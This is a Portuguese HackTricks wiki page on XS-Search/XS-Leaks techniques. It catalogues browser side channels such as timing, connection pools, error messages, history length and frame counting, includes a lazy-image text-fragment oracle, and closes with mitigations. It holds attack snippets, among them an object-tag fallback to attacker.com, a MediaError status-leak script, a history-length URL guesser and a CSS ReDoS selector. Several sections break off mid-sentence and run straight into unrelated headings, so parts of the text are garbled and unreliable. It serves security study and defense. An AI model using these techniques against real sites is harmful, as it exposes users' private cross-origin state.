hacktricks/pentesting-web/xs-search.md
2023-06-06 18:56:34 +00:00

409 lines
36 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# XS-Search/XS-Leaks
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenha o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## **Informações básicas**
XS-Search é uma técnica orientada para **exfiltrar informações de origem cruzada** abusando de **ataques de canal lateral**.
Existem diferentes elementos nesse tipo de ataque:
* **Web vulnerável**: é a web de onde queremos exfiltrar algumas informações
* **Web do atacante**: é a web que o atacante cria contendo o exploit e que a vítima acessa
* **Método de inclusão**: é o método usado para carregar a Web vulnerável a partir da Web do atacante (como window.open, iframe, fetch, tag HTML com href...)
* **Técnica de vazamento**: após acessar a web vulnerável, uma técnica será usada para diferenciar entre o status potencial da web com as informações obtidas do método de inclusão usado.
* **Estados**: os 2 possíveis estados que a web vulnerável pode ter dependendo da vítima que queremos diferenciar.
* **Diferenças detectáveis**: estas são as informações que o atacante tem que tentar decidir o status da web vulnerável
### Diferenças detectáveis
Para distinguir entre os 2 estados da página vulnerável, várias coisas podem ser observadas:
* **Código de status**. Um atacante pode distinguir **diferentes códigos de status de resposta HTTP** de origem cruzada (por exemplo, erros do servidor, erros do cliente ou erros de autenticação).
* **Uso de API**. Esta diferença detectável permite que um atacante detecte o **uso de APIs da Web** em páginas, permitindo que um atacante infira se uma página de origem cruzada está usando uma API da Web JavaScript específica.
* **Redirecionamentos**. É possível detectar se um aplicativo da web **navegou o usuário para uma página diferente**. Isso não se limita a redirecionamentos HTTP, mas também inclui redirecionamentos acionados por JavaScript ou HTML.
* **Conteúdo da página**. Essas diferenças detectáveis **aparecem no corpo da resposta HTTP** ou em sub-recursos incluídos pela página. Por exemplo, isso poderia ser o **número de quadros incluídos** (cf. XS-Leak no Gitlab) ou diferenças de tamanho de imagens.
* **Cabeçalho HTTP**. Um atacante pode detectar a presença de um **cabeçalho de resposta HTTP específico** e pode ser capaz de reunir seu valor. Isso inclui cabeçal
```html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
```
Neste caso, se `example.com/404` não for encontrado, `attacker.com/?error` será carregado.
### Tempo de carregamento
* **Métodos de inclusão**: Elementos HTML
* **Diferença detectável**: Tempo (geralmente devido ao conteúdo da página, código de status)
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
* **Resumo**: A API \*\*\*\* [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) pode ser usada para medir quanto tempo leva para realizar uma solicitação. No entanto, outros relógios podem ser usados, como a [**API PerformanceLongTaskTiming**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming), que pode identificar tarefas em execução por mais de 50ms.
* **Exemplo de código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) outro exemplo em:
{% content-ref url="xs-search/performance.now-example.md" %}
[performance.now-example.md](xs-search/performance.now-example.md)
{% endcontent-ref %}
#### Tempo de carregamento + Tarefa pesada forçada
Essa técnica é como a anterior, mas o **atacante** também **forçará** alguma ação a levar um **tempo relevante** quando a **resposta for positiva ou negativa** e medirá esse tempo.
{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %}
[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
{% endcontent-ref %}
### Tempo de descarregamento / beforeunload
* **Métodos de inclusão**: Frames
* **Diferença detectável**: Tempo (geralmente devido ao conteúdo da página, código de status)
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
* **Resumo**: O relógio [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) pode ser usado para medir quanto tempo leva para realizar uma solicitação. Outros relógios podem ser usados.
* **Exemplo de código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
Os eventos [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event) e [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event) podem ser usados para medir o tempo que leva para buscar um recurso. Isso funciona porque o **`beforeunload`** é acionado quando o navegador faz uma **nova solicitação de navegação**, enquanto o **`unload`** é acionado quando essa **navegação realmente ocorre**. De
### Loop de Eventos Ocupado <a href="#busy-event-loop" id="busy-event-loop"></a>
* **Métodos de Inclusão**:
* **Diferença Detectável**: Tempo (geralmente devido ao conteúdo da página, código de status)
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
* **Resumo:** Mede o tempo de execução de um web locking o loop de eventos de uma thread e cronometrando **quanto tempo leva para o loop de eventos ficar disponível novamente**.
* **Exemplo de código**:
Uma das principais vantagens dessa técnica é sua capacidade de contornar o Isolamento de Site, pois a origem do atacante pode influenciar a execução de outra origem.
{% hint style="warning" %}
Em uma execução de tempo, é possível **eliminar** **fatores de rede** para obter **medições mais precisas**. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
{% endhint %}
### Pool de Conexão
* **Métodos de Inclusão**: Solicitações JavaScript
* **Diferença Detectável**: Tempo (geralmente devido ao conteúdo da página, código de status)
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
* **Resumo:** Um atacante pode bloquear todos os soquetes, exceto 1, carregar a web de destino e, ao mesmo tempo, carregar outra página, o tempo até que a última página comece a carregar é o tempo que a página de destino levou para carregar.
* **Exemplo de código**:
{% content-ref url="xs-search/connection-pool-example.md" %}
[connection-pool-example.md](xs-search/connection-pool-example.md)
{% endcontent-ref %}
Os navegadores usam soquetes para se comunicar com servidores. Como o sistema operacional e o hardware em que ele é executado têm recursos limitados, **os navegadores têm que impor um limite**. Para explorar a existência desse limite, os atacantes podem:
1. Verifique qual é o limite do navegador, por exemplo, 256 soquetes globais.
2. Bloqueie 255 soquetes por um longo período de tempo, realizando 255 solicitações a hosts diferentes que simplesmente penduram a conexão.
3. Use o 256º soquete realizando uma solicitação à página de destino.
4. Realize uma 257ª solicitação a outro host. Como todos os soquetes estão sendo usados (nas etapas 2 e 3), essa solicitação deve esperar até que o pool receba um soquete disponível. Esse período de espera fornece ao atacante o tempo de sincronização da rede do 256º soquete, que pertence à página de destino. Isso funciona porque os 255 soquetes na etapa 2 ainda estão bloqueados, portanto, se o pool receber um soquete disponível, isso foi causado pela liberação do soquete na etapa 3. O tempo para liberar o 256º soquete está diretamente conectado ao tempo necessário para concluir a solicitação.
Para mais informações: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
### Pool de Conexão por Destino
* **Métodos de Inclusão**: Solicitações JavaScript
* **Diferença Detectável**: Tempo (geralmente devido ao conteúdo da página, código de status)
*
### Service Worker
* **Métodos de inclusão**: Frames
* **Diferença detectável**: Uso da API
* **Mais informações**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
* **Resumo:** Detecte se um service worker está registrado para uma origem específica.
* **Exemplo de código**:
Os service workers são contextos de script orientados a eventos que são executados em uma origem. Eles são executados em segundo plano de uma página da web e podem interceptar, modificar e **armazenar em cache recursos** para criar aplicativos da web offline.\
Se um **recurso armazenado em cache** por um **service worker** é acessado via **iframe**, o recurso será **carregado a partir do cache do service worker**.\
Para detectar se o recurso foi **carregado a partir do cache do service worker**, a **API de desempenho** pode ser usada.\
Isso também pode ser feito com um ataque de temporização (verifique o artigo para obter mais informações).
### Cache
* **Métodos de inclusão**: Fetch API
* **Diferença detectável**: Temporização
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
* **Resumo:** Detecte se um recurso foi armazenado em cache.
* **Exemplo de código**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](https://xsinator.com/testing.html#Cache%20Leak%20\(POST\))
Usando a [API de desempenho](xs-search.md#performance-api), é possível verificar se um recurso está armazenado em cache.\
Para mais informações: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
### Duração da Rede
* **Métodos de inclusão**: Fetch API
* **Diferença detectável**: Conteúdo da página
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
* **Resumo:** É possível recuperar a duração da rede de uma solicitação da API `performance`.
* **Exemplo de código**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
## Técnica de Mensagens de Erro
### Erro de Mídia
* **Métodos de inclusão**: Elementos HTML (Vídeo, Áudio)
* **Diferença detectável**: Código de status
* **Mais informações**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
* **Resumo:** No FF, é possível vazar com precisão o código de status de uma solicitação de origem cruzada.
* **Exemplo de código**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
```javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}
function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
```
A propriedade de mensagem da interface **`MediaError`** contém uma **string diferente para recursos que são carregados com sucesso**. Isso permite que um atacante infira o status de resposta para um recurso de origem cruzada.
### Erro de CORS
* **Métodos de inclusão**: Fetch API
* **Diferença detectável**: Cabeçalho
* **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Resumo:** Em SA, as mensagens de erro de CORS vazam a URL completa de redirecionamentos.
* **Exemplo de código**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
Essa técnica permite que um atacante vaze o alvo de um redirecionamento que é iniciado por um site de origem cruzada.
O CORS permite que recursos da web publicamente acessíveis sejam lidos e usados a partir de qualquer site. Nos navegadores baseados em Webkit, é possível **acessar as mensagens de erro de CORS quando uma solicitação CORS falha**. Um atacante pode enviar uma solicitação habilitada para CORS para um site de destino que **redireciona** com base no estado do usuário. Quando o navegador nega a solicitação, a **URL completa do destino do redirecionamento é vazada** na mensagem de erro. Com esse ataque, é possível detectar redirecionamentos, vazar locais de redirecionamento e parâmetros de consulta sensíveis.
### Erro de SRI
* **Métodos de inclusão**: Fetch API
* **Diferença detectável**: Cabeçalho
* **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Resumo:** Em SA, as mensagens de erro de CORS vazam a URL completa de redirecionamentos.
* **Exemplo de código**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
Um atacante pode vazar o tamanho das respostas de origem cruzada devido a **mensagens de erro verbosas**.
O atributo de integridade define um hash criptográfico pelo qual o navegador pode verificar se um recurso buscado não foi manipulado. Esse mecanismo de segurança é chamado de Subresource Integrity (SRI). É usado para verificação de integridade de recursos servidos por redes de entrega de conteúdo (CDNs). Para evitar vazamentos de dados, os recursos de origem cruzada devem ser **habilitados para CORS**. Caso contrário, a resposta não é elegível para validação de integridade. Semelhante ao vazamento de erro de CORS XS-Leak, é possível capturar a **mensagem de erro após uma solicitação de busca com um atributo de integridade falhar**. Um atacante pode forçadamente **disparar** esse **erro** em qualquer solicitação especificando um **valor de hash falso**. Em SA, essa mensagem de erro vaza o comprimento do conteúdo do recurso solicitado. Um atacante pode usar esse vazamento para detectar diferenças no tamanho da resposta, o que permite poderosos ataques XS-Leak.
### Violação/Detecção de CSP
* **Métodos de inclusão**: Pop-ups
* **Diferença detectável**: Código de status
* **Mais informações**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Arch
### Comprimento Máximo de URL - Lado do Cliente
* **Métodos de Inclusão**: Pop-ups
* **Diferença Detectável**: Código de Status / Conteúdo
* **Mais informações**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
* **Resumo:** Detecte diferenças nas respostas porque o comprimento da resposta de redirecionamento pode ser muito grande para uma solicitação que uma diferença possa ser notada.
* **Exemplo de código**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
De acordo com a [documentação do Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url\_display\_guidelines/url\_display\_guidelines.md#URL-Length), o comprimento máximo de URL do Chrome é de 2MB.
> Em geral, a _plataforma web_ não tem limites no comprimento de URLs (embora 2^31 seja um limite comum). O _Chrome_ limita os URLs a um comprimento máximo de **2MB** por razões práticas e para evitar problemas de negação de serviço na comunicação entre processos.
Portanto, se o **URL de redirecionamento respondido for maior em um dos casos**, é possível fazer com que ele redirecione com um **URL maior que 2MB** para atingir o **limite de comprimento**. Quando isso acontece, o Chrome mostra uma página **`about:blank#blocked`**.
A **diferença perceptível** é que se o **redirecionamento** foi **concluído**, `window.origin` lança um **erro** porque uma origem cruzada não pode acessar essa informação. No entanto, se o **limite** foi **atingido** e a página carregada foi **`about:blank#blocked`**, a **`origin`** da janela permanece a do **pai**, que é uma informação **acessível**.
Todas as informações extras necessárias para atingir os **2MB** podem ser adicionadas por meio de um **hash** na URL inicial para que seja **usado no redirecionamento**.
{% content-ref url="xs-search/url-max-length-client-side.md" %}
[url-max-length-client-side.md](xs-search/url-max-length-client-side.md)
{% endcontent-ref %}
### Máximo de Redirecionamentos
* **Métodos de Inclusão**: Fetch API, Frames
* **Diferença Detectável**: Código de Status
* **Mais informações**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76)
* **Resumo:** Abusa do limite de redirecionamentos para detectar redirecionamentos.
* **Exemplo de código**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
Se o número **máximo** de **redirecionamentos** a seguir de um navegador for **20**, um invasor poderia tentar carregar sua página com **19 redirecionamentos** e finalmente **enviar a vítima** para a página testada. Se um **erro** for acionado, então a página estava tentando **redirecionar a vítima**.
### Comprimento do Histórico
* **Métodos de Inclusão**: Frames, Pop-ups
* **Diferença Detectável**: Redirecionamentos
* **Mais informações**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
* **Resumo:** O código JavaScript manipula o histórico do navegador e pode ser acessado pela propriedade length.
* **Exemplo de código**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
A API de Histórico permite que o código JavaScript manipule o histórico do navegador, que **salva as páginas visitadas por um usuário**. Um invasor pode usar a propriedade length como um método de inclusão: para detectar navegações em JavaScript e HTML.\
**Verificando `history.length`**, fazendo um usuário **navegar** para uma página, **voltar** para ela **de volta** para a mesma origem e **verificando** o novo valor de **`history.length`**.
### Comprimento do Histórico com a mesma URL
* **Métodos de Inclusão**: Frames, Pop-ups
* **Diferença Detectável**: Se a URL é a mesma que a adivinhada
* **Resumo:** É possível adivinhar se a localização de um frame/pop-up está em uma URL específica abusando do comprimento do histórico.
* **Exemplo de código**: Abaixo
Um invasor poderia usar o código JavaScript para **manipular a localização do frame/pop-up para uma adivinhada** e **imediatamente** **mudá-la para `about:blank`**. Se o comprimento do histórico aumentar, significa que a URL estava correta e teve tempo para **aumentar porque a URL não é recarregada se for a mesma**. Se não aumentar, significa que ele **tentou carregar a URL adivinhada** mas porque **imediatamente depois** carregou **`about:blank`**, o **comprimento do histórico nunca aumentou** ao carregar a URL adivinhada.
```javascript
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));
win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));
```
### Contagem de Frames
* **Métodos de inclusão**: Frames, Pop-ups
* **Diferença detectável**: Conteúdo da página
* **Mais informações**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
* **Resumo:** Ler o número de frames (window.length).
* **Exemplo de código**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
Contar o **número de frames em uma página da web** aberta via `iframe` ou `window.open` pode ajudar a identificar o **status do usuário sobre essa página**.\
Além disso, se a página tiver sempre o mesmo número de frames, verificar **continuamente** o número de frames pode ajudar a identificar um **padrão** que pode vazar informações.
Um exemplo dessa técnica é que no Chrome, um **PDF** pode ser **detectado** com **contagem de frames** porque um `embed` é usado internamente. Existem [Par
### Busca de Tempo
* **Métodos de inclusão**: Fetch API
* **Diferença detectável**: Tempo (geralmente devido ao conteúdo da página, código de status)
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
* **Resumo:** A API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) pode ser usada para medir quanto tempo leva para realizar uma solicitação. Outros relógios podem ser usados.
* **Exemplo de código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
### Busca Cruzada de Janelas
* **Métodos de inclusão**: Pop-ups
* **Diferença detectável**: Tempo (geralmente devido ao conteúdo da página, código de status)
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
* **Resumo:** A API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) pode ser usada para medir quanto tempo leva para realizar uma solicitação usando `window.open`. Outros relógios podem ser usados.
* **Exemplo de código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, usando as **ferramentas da comunidade mais avançadas do mundo**.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Com HTML ou Re Injeção
Aqui você pode encontrar técnicas para exfiltrar informações de um HTML de origem cruzada **injetando conteúdo HTML**. Essas técnicas são interessantes em casos em que, por qualquer motivo, você pode **injetar HTML, mas não pode injetar código JS**.
### Marcação Pendurada
{% content-ref url="dangling-markup-html-scriptless-injection.md" %}
[dangling-markup-html-scriptless-injection.md](dangling-markup-html-scriptless-injection.md)
{% endcontent-ref %}
### Carregamento Lento de Imagem
Se você precisa **exfiltrar conteúdo** e pode **adicionar HTML anterior ao segredo**, você deve verificar as **técnicas comuns de marcação pendurada**.\
No entanto, se por qualquer motivo você **PRECISAR** fazê-lo **caractere por caractere** (talvez a comunicação seja via um cache hit), você pode usar esse truque.
**Imagens** em HTML têm um atributo "**loading**" cujo valor pode ser "**lazy**". Nesse caso, a imagem será carregada quando for visualizada e não enquanto a página estiver carregando:
```html
<img src=/something loading=lazy >
```
Portanto, o que você pode fazer é **adicionar muitos caracteres aleatórios** (por exemplo, **milhares de "W"**) para **preencher a página da web antes do segredo**. Fazemos isso para que a imagem não seja carregada no início.
No entanto, você faz o **bot acessar a página** com algo como
```
#:~:text=SECR
```
Então a página da web será algo como: **`https://vitima.com/post.html#:~:text=SECR`**
Onde post.html contém os caracteres lixo do atacante e a imagem de carregamento lento e, em seguida, o segredo do bot é adicionado.
O que este texto fará é fazer com que o bot acesse qualquer texto na página que contenha o texto `SECR`. Como esse texto é o segredo e está logo abaixo da imagem, a imagem só será carregada se o segredo adivinhado estiver correto. Então, você tem seu oráculo para exfiltrar o caractere secreto por caractere.
Alguns exemplos de código para explorar isso: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
Encontre **outro exemplo usando carregamento lento** aqui:
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}
### ReDoS
{% content-ref url="regular-expression-denial-of-service-redos.md" %}
[regular-expression-denial-of-service-redos.md](regular-expression-denial-of-service-redos.md)
{% endcontent-ref %}
### CSS ReDoS
Se `jQuery(location.hash)` for usado, é possível descobrir por meio de temporização **se algum conteúdo HTML existe**, isso porque se o seletor `main[id='site-main']` não corresponder, não é necessário verificar o restante dos **seletores**:
```javascript
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
```
### Injeção de CSS
{% content-ref url="xs-search/css-injection/" %}
[injeção de CSS](xs-search/css-injection/)
{% endcontent-ref %}
## Defesas
Nesta seção, você pode encontrar parte das mitigação recomendadas em [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf), no entanto, há mais mitigação em cada seção do wiki [https://xsleaks.dev/](https://xsleaks.dev/). Dê uma olhada lá para obter mais informações sobre como se proteger contra essas técnicas.
### Mitigações do Método de Inclusão
* **Elementos HTML**. Pode-se usar o **cabeçalho CORP para controlar se as páginas podem incorporar um recurso**. O CORP pode ser definido como mesma origem ou mesmo site e bloqueia qualquer solicitação de origem cruzada ou respectivamente de site cruzado para esse recurso. No **lado do cliente**, os navegadores baseados em Chromium usam o algoritmo **CORB** para decidir se as solicitações de recursos de origem cruzada devem ser permitidas ou negadas.
* **Frames**. A principal defesa para **impedir que elementos iframe** carreguem recursos HTML é o uso de **X-Frame-Options**. Alternativamente, a diretiva **frame-ancestors CSP** pode alcançar um resultado semelhante. Se a incorporação for negada, o método de inclusão não pode detectar uma diferença nas respostas.
* **Pop-ups**. Para restringir o acesso a `window.opener`, o cabeçalho de resposta HTTP **COOP** define três valores diferentes: unsafe-none (padrão), same-origin-allow-popups e same-origin. Esses valores podem ser usados para **isolar as guias de navegação e pop-ups** e, portanto, mitigar as técnicas de vazamento baseadas em pop-ups.
* **Solicitações JavaScript**. As solicitações JavaScript de origem cruzada são frequentemente usadas em ataques XS-Leak, porque um invasor tem controle refinado sobre a solicitação emitida. No entanto, como essas solicitações não são habilitadas para CORS, elas estão sujeitas às mesmas restrições que as solicitações enviadas por elementos HTML, como scripts ou imagens. Assim, o impacto dessa técnica de vazamento também pode ser **mitigado por CORP e CORB**.
Métodos mais genéricos:
* **Metadados de busca**. Esses cabeçalhos de solicitação permitem que os proprietários do servidor entendam melhor como o navegador do usuário causou uma solicitação específica. No Chrome, os cabeçalhos Sec-Fetch-\* são adicionados automaticamente a cada solicitação e fornecem metadados sobre a proveniência da solicitação. Por exemplo, Sec-Fetch-Dest: imagem foi acionado a partir de um elemento de imagem. As aplicações da Web podem então optar por bloquear solicitações com base nessas informações.
* **Cookies Same-Site**. O sinalizador Same-Site permite que os sites declarem **se um cookie deve ser restrito ao contexto de mesmo site ou de primeira parte**. Todos os principais navegadores suportam cookies Same-Site. No GC, os cookies sem o atributo agora são Lax por padrão. Para XS-Leaks, **os cookies Same-Site limitam drasticamente as possibilidades de ataque de vazamento**. Por outro lado, as técnicas de vazamento que dependem de **`window.open` ainda funcionam com `SameSite=Lax`**. Os sites que usam **outros métodos de autenticação**, como certificados do lado do cliente e autenticação HTTP, **permanecem vulneráveis**.
* **Desvinculação de Identificador de Origem Cruzada (COIU)**. COIU, também conhecido como Isolamento de Primeira Parte (FPI), é um recurso de segurança opcional que os usuários podem habilitar nas configurações avançadas do FF (about:config) e foi inicialmente introduzido no Tor Browser. Em uma visão abstrata, é um contexto de mesmo site estendido. Ele **vincula vários recursos** (por exemplo, cookies, cache, armazenamentos do lado do cliente) **à primeira parte** em vez de compartilhá-los entre todos os sites visitados. Se habilitado, o COIU diminui drasticamente a aplicabilidade do XS-Leaks, pois apenas os métodos que usam pop-ups ainda são possíveis para atender ao requisito de primeira parte da política.
* **Proteções de Rastreamento**. A Apple implementou um mecanismo de privacidade chamado **Prevenção de Rastreamento Inteligente (ITP)** no SA que visa combater o rastreamento entre sites limitando as capacidades de cookies e outras APIs da Web. Em versões mais recentes do SA, o ITP bloqueia todos os cookies de terceiros por padrão, sem exceções \[74]. Esse bloqueio impede todos os vazamentos que não são baseados em pop-ups. O FF adotou uma abordagem semelhante com a Prevenção de Rastreamento Aprimorada (ETP), mas eles apenas bloqueiam cookies de terceiros específicos pertencentes a provedores de rastreamento. No contexto do XS-Leaks, o ETP apenas mitiga as técnicas de vazamento que visam esses domínios de rastreamento.
* **Extensões do Navegador**. Usuários conscientes da segurança podem usar **extensões do navegador para impedir certos métodos de inclusão**.
### Mitigações de Técnicas de Vazamento
